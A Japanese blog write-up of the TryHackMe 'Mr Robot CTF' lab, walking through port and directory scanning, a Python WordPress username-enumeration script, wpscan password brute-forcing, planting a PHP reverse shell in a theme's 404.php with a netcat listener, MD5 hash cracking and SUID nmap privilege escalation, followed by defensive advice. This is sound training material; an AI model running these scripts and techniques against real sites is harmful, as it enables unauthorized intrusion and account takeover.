LoginSignup
2
0

【TryHackMe】Mr Robot CTF - Writeup

Last updated at Posted at 2024-02-13

はじめに

TryHackMeの "Mr Robot CTF" というルームのWriteupです。
映画ドラマ "Mr.Robot" の世界観あふれるWebサイトを攻略していきましょう!

  • 難易度 : Medium

image.png

目標

Recon (偵察) → Enumeration (列挙) → GainingAccess (侵入) → PrivEsc (権限昇格)
という流れで進めていきます。
3つのキーを取得するのが目標です。

Recon

オープンポート調査

いつも通りnmapでポートスキャンをしていく。

└─$ nmap -Pn -A -T4 10.10.85.110
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-02-10 05:49 EST
Nmap scan report for 10.10.85.110
Host is up (0.30s latency).
Not shown: 997 filtered tcp ports (no-response)
PORT    STATE  SERVICE  VERSION
22/tcp  closed ssh
80/tcp  open   http     Apache httpd
|_http-server-header: Apache
|_http-title: Site doesn't have a title (text/html).
443/tcp open   ssl/http Apache httpd
|_http-server-header: Apache
|_http-title: Site doesn't have a title (text/html).
| ssl-cert: Subject: commonName=www.example.com
| Not valid before: 2015-09-16T10:45:03
|_Not valid after:  2025-09-13T10:45:03

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 47.31 seconds

80(http), 443(ssl/http) が空いている
珍しくssh(22)は閉じているようだ。

Webサイトの偵察

ひとまずブラウザから確認していきましょう。

かなり作りこまれたページでとても良いです。
BIOSからOSを起動したような画面がブラウザに表示されました(ワクワク)

image.png

OSコマンドが打ちたくなる画面なのでとりあえず ls を打ってみる。

image.png

コマンドが制限されているようで怒られる。
help で使えるコマンドを確認してみたら、いくつかのコマンドが表示された。

1つずつコマンドを打ってみましょう。

fsociery

"Are you ready to join fsociety?"

という動画メッセージが流れます。
すごい世界観が作りこまれててドキドキしますね。

inform

4枚の興味深い写真とメッセージが出てきた(→問題にはあまり関係なかった)

image.png

すべてのコマンドを打ってみた結果、コマンド名と同じページに遷移することがわかったので、ほかのページがないか調査していきましょう。

Enumeration

隠しディレクトリ調査

gobusterで隠しディレクトリがないか調査していきます。

┌──(kali㉿kali)-[~]
└─$ cat gobuster.log 
===============================================================
Gobuster v3.6
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url:                     http://10.10.252.197
[+] Method:                  GET
[+] Threads:                 10
[+] Wordlist:                /usr/share/wordlists/dirb/common.txt
[+] Negative Status codes:   404
[+] User Agent:              gobuster/3.6
[+] Timeout:                 10s
===============================================================
Starting gobuster in directory enumeration mode
===============================================================
/.htaccess            (Status: 403) [Size: 218]
/.hta                 (Status: 403) [Size: 213]
/.htpasswd            (Status: 403) [Size: 218]
/0                    (Status: 301) [Size: 0] [--> http://10.10.252.197/0/]
/admin                (Status: 301) [Size: 235] [--> http://10.10.252.197/admin/]
/atom                 (Status: 301) [Size: 0] [--> http://10.10.252.197/feed/atom/]
/audio                (Status: 301) [Size: 235] [--> http://10.10.252.197/audio/]
/blog                 (Status: 301) [Size: 234] [--> http://10.10.252.197/blog/]
/css                  (Status: 301) [Size: 233] [--> http://10.10.252.197/css/]
/dashboard            (Status: 302) [Size: 0] [--> http://10.10.252.197/wp-admin/]
/favicon.ico          (Status: 200) [Size: 0]
/feed                 (Status: 301) [Size: 0] [--> http://10.10.252.197/feed/]
/image                (Status: 301) [Size: 0] [--> http://10.10.252.197/image/]
/Image                (Status: 301) [Size: 0] [--> http://10.10.252.197/Image/]
/images               (Status: 301) [Size: 236] [--> http://10.10.252.197/images/]
/index.html           (Status: 200) [Size: 1188]
/index.php            (Status: 301) [Size: 0] [--> http://10.10.252.197/]
/js                   (Status: 301) [Size: 232] [--> http://10.10.252.197/js/]
/intro                (Status: 200) [Size: 516314]
/license              (Status: 200) [Size: 309]
/login                (Status: 302) [Size: 0] [--> http://10.10.252.197/wp-login.php]
/page1                (Status: 301) [Size: 0] [--> http://10.10.252.197/]
/phpmyadmin           (Status: 403) [Size: 94]
/rdf                  (Status: 301) [Size: 0] [--> http://10.10.252.197/feed/rdf/]
/readme               (Status: 200) [Size: 64]
/robots               (Status: 200) [Size: 41]
/robots.txt           (Status: 200) [Size: 41]
/rss                  (Status: 301) [Size: 0] [--> http://10.10.252.197/feed/]
/rss2                 (Status: 301) [Size: 0] [--> http://10.10.252.197/feed/]
/sitemap              (Status: 200) [Size: 0]
/sitemap.xml          (Status: 200) [Size: 0]
/video                (Status: 301) [Size: 235] [--> http://10.10.252.197/video/]
/wp-admin             (Status: 301) [Size: 238] [--> http://10.10.252.197/wp-admin/]
/wp-content           (Status: 301) [Size: 240] [--> http://10.10.252.197/wp-content/]
/wp-config            (Status: 200) [Size: 0]
/wp-cron              (Status: 200) [Size: 0]
/wp-includes          (Status: 301) [Size: 241] [--> http://10.10.252.197/wp-includes/]
/wp-load              (Status: 200) [Size: 0]
/wp-links-opml        (Status: 200) [Size: 227]
/wp-login             (Status: 200) [Size: 2671]
/wp-mail              (Status: 500) [Size: 3064]
/wp-signup            (Status: 302) [Size: 0] [--> http://10.10.252.197/wp-login.php?action=register]
/wp-settings          (Status: 500) [Size: 0]
/xmlrpc               (Status: 405) [Size: 42]
/xmlrpc.php           (Status: 405) [Size: 42]

===============================================================
Finished
===============================================================

かなりたくさんのディレクトリが見えちゃってますね。
いろいろ見た中で気になったページを紹介します。

/admin

一番気になったこのページは要注意。永遠にリダイレクトされる、、、

/admin         (Status: 301) [Size: 235] [--> http://10.10.252.197/admin/]

/readme
どういう意味だろう?

image.png

/image

掲示板のような感じになっていて、何か投稿することができそうです。
何個か送信してみたけどすぐ反映されるわけではなさそうでした。
→ 後ほどわかるが、ユーザからのコメントを投稿するかどうかは承認制

image.png

image.png

/wp-login.php

なんとwordpressが使われているようです。

image.png

/robots.txt

フラグの名前のヒントと辞書みたいなものがありますね
fsocity.dic , key-1-of-3.txt

image.png

robots.txtとは?
robots.txtに記載されているファイルは、クローラの検索から除外される。
通常隠したいファイル名を記載する。

さっきのgobusterでのディレクトリスキャンには引っかからなかったのですが、隠したいファイル名が記載されているということで、要確認です。

ルーム名がヒントなので、robots.txt を最初に確認するべきだった(反省)

fsocity.dic , key-1-of-3.txtというファイルがありそうなのでurlに入れてみると、2つともファイルが見れました。

  • key-1-of-3.txt

1つ目のフラグゲット!!!!

image.png

  • fsocity.dic

何か辞書のようなものがダウンロードできました。

image.png

中身はよくわからない用語の羅列になっている。このファイル、かなり重複が多いです。おそらくあとでブルートフォースに使う辞書なのでしょう。

┌──(kali㉿kali)-[~]
└─$ wc -l fsocity.dic
858160 fsocity.dic  <--------------- 行数

┌──(kali㉿kali)-[~]
└─$ cat fsocity.dic | grep username | wc -l
150  <---------------------------- usernameの超複数

ソートして重複を除くと、85万行が1万行に減らせた。
あとでブルートフォースに使うと思うのでこのほうが早く探せる。

┌──(kali㉿kali)-[~]
└─$ sort fsocity.dic | uniq > unique.dic 
                                                                    
┌──(kali㉿kali)-[~]
└─$ wc -l unique.dic 
11451 unique.dic

/wp-signup

期待して確認したのですが、今は登録できないよと言われてしまいました。

image.png

/wp-links-opml

image.png

This XML file does not appear to have any style information associated with it. The document tree is shown below.
このXMLファイルには、スタイル情報が関連付けられていないようです。ドキュメントツリーを以下に示す。

ブログにも何も書かれてなかったのでドキュメントツリーも何もない。
Wordpress 4.3.1 という情報を得た。
→ CVEやexploit codeを探したが見つからず・・・

/license

image.png

what you do just pull code from Rapid9 or some s@#% since when did you become a script kitty?
Rapid9とかからコードを引っ張ってきて、いつからスクリプトキティになったんだ?

Rapid9について調べたけど見つからず、どうやら名前が変わったようでこれのことみたい。Metasploitを作っている会社だった。

Gaining Access

それではログインしていきましょう。

存在するユーザ名を調べる

wordpressのログインページにさきほどの辞書を使ってブルートフォースを仕掛けていきます。

HTTPリクエストから変数を確認

試しにuser=name, passwd=passでログインしてみて開発者ツールでリクエストを見てみたら変数が分かりました。変数を指定してブルートフォースすることが出来ます。

image.png

pythonで大量にログインリクエストを送信する

下記のようなペイロードを作成する。

import requests

host = '10.10.xxx.xxx'
url = 'http://' + host + '/wp-login.php'

def attack(s, url, user):
    payload = {'log': user, 'pwd': 'a', 'wp-submit': 'Log In'}
    res = s.post(url, data=payload)
    if 'Invalid username.' in res.text:
        return False
    return True
    
with open('unique.dic', 'r') as f:
    wordlist = f.readlines()

s = requests.Session()
s.get(url)

for w in wordlist:
    w = w.strip()
    if attack(s, url, w):
        print(w)
        break
    else:
        continue

ワードリストのすべてをusernameとするリクエストを送信して、レスポンスに'Invalid username.'という文字列がなければTrueを返し、そのときのワードを表示して終了するというスクリプト。

ユーザ名が無い場合に 'Invalid username.' というエラーメッセージを出してしまうと、今回のように攻撃者にとってヒントになってしまうので気を付けましょう。

実行します。

┌──(kali㉿kali)-[~]
└─$ python3 exploit.py
Elliot

ユーザ名がわかりましたね。Elliotでログインしたいと思います。

Elliotのログインパスワードは何か?

同様にブルートフォースするペイロードを書いて実行してみるが、1万行あるからかなかなか終わらず、方針を変えてwpscanでブルートフォースすることにした。

┌──(kali㉿kali)-[~]
└─$ wpscan --url http://10.10.252.197 -U Elliot -P unique.dic -t 64                                       
_______________________________________________________________
         __          _______   _____
         \ \        / /  __ \ / ____|
          \ \  /\  / /| |__) | (___   ___  __ _ _ __ ®
           \ \/  \/ / |  ___/ \___ \ / __|/ _` | '_ \
            \  /\  /  | |     ____) | (__| (_| | | | |
             \/  \/   |_|    |_____/ \___|\__,_|_| |_|

         WordPress Security Scanner by the WPScan Team
                         Version 3.8.25
       Sponsored by Automattic - https://automattic.com/
       @_WPScan_, @ethicalhack3r, @erwan_lr, @firefart
_______________________________________________________________

[+] URL: http://10.10.252.197/ [10.10.252.197]
[+] Started: Sat Feb 10 10:59:57 2024

(中略)

[+] Performing password attack on Xmlrpc Multicall against 1 user/s
[SUCCESS] - Elliot / ER28-0652                                                                                             
All Found                                                                                                                  
Progress Time: 00:00:39 <===================================                              > (12 / 22) 54.54%  ETA: ??:??:??

[!] Valid Combinations Found:
 | Username: Elliot, Password: ER28-0652

パスワードゲット!

会社の先輩がhydraで解いていて、以下の解き方の方がスマートだなと思ったのでメモ

image.png

ブログにリバースシェルを仕込む

ログインして中身を見ていくと、ブログが投稿できるようになっている。
しかも、htmlとphpのコードが書けるようだ。kaliにデフォルトで入っているPHPのリバースシェルを仕込む。

kaliの場合、ここにリバースシェルがあります。

cat /usr/share/webshells/php/php-reverse-shell.php 

これをブログの "404.php" にコピペ。コピペしたらIPアドレスとポートは書き換えておきましょう。

image.png

ローカルでリスナーを起動しておき、404.phpにアクセスするとリバースシェルが実行され、シェルが立ち上がる!!!

┌──(kali㉿kali)-[~]
└─$ nc -lnvp 4444
listening on [any] 4444 ...
connect to [10.8.32.250] from (UNKNOWN) [10.10.252.197] 37197
Linux linux 3.13.0-55-generic #94-Ubuntu SMP Thu Jun 18 00:27:10 UTC 2015 x86_64 x86_64 x86_64 GNU/Linux
 17:04:46 up  3:43,  0 users,  load average: 0.00, 0.01, 0.05
USER     TTY      FROM             LOGIN@   IDLE   JCPU   PCPU WHAT
uid=1(daemon) gid=1(daemon) groups=1(daemon)
/bin/sh: 0: can't access tty; job control turned off
$ whoami
daemon
$ 

無事、deamonユーザでログインできました。

robotへのログイン

ユーザを見るとrobotというのがいる。怪しいですね。

$ cat /etc/passwd | cut -d ":" -f 1
root
daemon
(中略)
robot

ひとまず2つ目のキーを探していく。

$ cd home
$ ls
robot
$ cd robot
$ ls
key-2-of-3.txt
password.raw-md5
$ ls -l
total 8
-r-------- 1 robot robot 33 Nov 13  2015 key-2-of-3.txt
-rw-r--r-- 1 robot robot 39 Nov 13  2015 password.raw-md5

2つ目のキーの場所が分かったが、閲覧権限はrobotしかない。やはり、robotにログインしないといけないようですね。
また、 password.raw-md5 という気になるファイルを発見。中身を見てみましょう。

$ cat password.raw-md5
robot:c3fcd3d76192e4007dfb496cca67e13b

md5で暗号化されているパスワードのようなので、JohnTheRipperで解読します。

┌──(kali㉿kali)-[~]
└─$ john --format=raw-md5 --wordlist=/usr/share/wordlists/rockyou.txt hash.txt
Using default input encoding: UTF-8
Loaded 1 password hash (Raw-MD5 [MD5 128/128 SSE2 4x3])
Warning: no OpenMP support for this hash type, consider --fork=2
Press 'q' or Ctrl-C to abort, almost any other key for status
+ abcdefghijklmnopqrstuvwxyz (?)  
1g 0:00:00:00 DONE (2024-02-10 12:41) 25.00g/s 1012Kp/s 1012Kc/s 1012KC/s bonjour1..123092
Use the "--show --format=Raw-MD5" options to display all of the cracked passwords reliably
Session completed. 

パスワードが解読できたので、このパスワードでrobotにログインする。

$ su robot
su: must be run from a terminal

su robot でログインしようとすると、terminalから実行しろと怒られるので、pythonでシェルをアップデートしておく。

$ python -c 'import pty; pty.spawn("/bin/sh")'
$ su robot
su robot
Password: abcdefghijklmnopqrstuvwxyz
robot@linux:~$ whoami
whoami
robot
robot@linux:~$ 

無事、robotにログイン出来、先ほど見れなかった2つ目のフラグも取得できました。

PrivEsc

それでは3つ目のフラグを取得するために、rootに権限昇格していきましょう。
権限昇格の方法については以下にまとめています。

基本的なSUDOやSUIDの脆弱性がないか調査していきましょう。

SUDOの脆弱性がないか

robot@linux:~$ sudo -l
sudo -l
[sudo] password for robot: abcdefghijklmnopqrstuvwxyz

Sorry, user robot may not run sudo on linux.
robot@linux:~$ 

robotにsudoで実行できるコマンドはないようです。残念。

SUIDの脆弱性がないか

robotがroot権限で実行できるコマンドがないか見ていきます。

robot@linux:/$ find / -perm -u=s -type f 2>/dev/null | awk -F'/' '{print $NF}'
ping
umount
mount
ping6
su
passwd
newgrp
chsh
chfn
gpasswd
sudo
nmap
ssh-keysign
dmcrypt-get-device
vmware-user-suid-wrapper
vmware-user-suid-wrapper
pt_chown

GTGObinsと照らし合わせてみると、nmapが怪しい。

参考:nmap

nmap --interactive で、シェルにアクセスできるのですが、それがroot権限で実行できてしまうようです。

robot@linux:/$ nmap --interactive
                                                                                                                         
Starting nmap V. 3.81 ( http://www.insecure.org/nmap/ )                                                                  
Welcome to Interactive Mode -- press h <enter> for help                                                                  
nmap> whoami                                                                                                             
Unknown command (whoami) -- press h <enter> for help
nmap> !whoami
root
waiting to reap child : No child processes
nmap> 

rootでログイン出来ているようですね。! を毎回先頭につけるのが大変なのでここでシェルを立ち上げておきましょう。

nmap> !sh
# ls
bin   etc         lib         media  passwd.txt  run         srv  usr
boot  home        lib64       mnt    proc        sbin        sys  var
dev   initrd.img  lost+found  opt    root        shadow.txt  tmp  vmlinuz
# whoami
root
# 

rootでシェルが立ち上がりました。
rootのパスワードがわかったわけではないですが、無事権限昇格成功!

# whoami
root
# find / -name key-3-of-3.txt 2>/dev/null
/root/key-3-of-3.txt
# cat /root/key-3-of-3.txt
****flag**********************

3つ目のフラグが見つかりました。お疲れ様でした!!!

あとがき

かなりボリュームがあって達成感のあるルームでした。
途中でMetasploitのヒントがあったのですが使わずに解いてしまったので、使う解き方もしてみたいなと思います。

今回のポイントとしては以下の通りです。

  • Webサイトの偵察に時間を使いすぎない
  • ルーム名から想像してrobots.txtを見に行く
  • Wordpressのエラーメッセージを元にブルートフォース
  • sshが閉じている→リバースシェルを考える

開発する側としては。以下に注意しましょう。

  • ログインページ
    • ログインページを公開しない
    • 数回失敗したらアカウントロックする
    • ログイン失敗メッセージを表示しない(Invalid username, Invalid passwordなどのヒントを与えない)
    • 2段階認証を取り入れる
  • robots.txtを公開しない
  • 不用意にSUIDを付与しない
2
0
0

Register as a new user and use Qiita more conveniently

  1. You get articles that match your needs
  2. You can efficiently read back useful information
  3. You can use dark theme
What you can do with signing up
2
0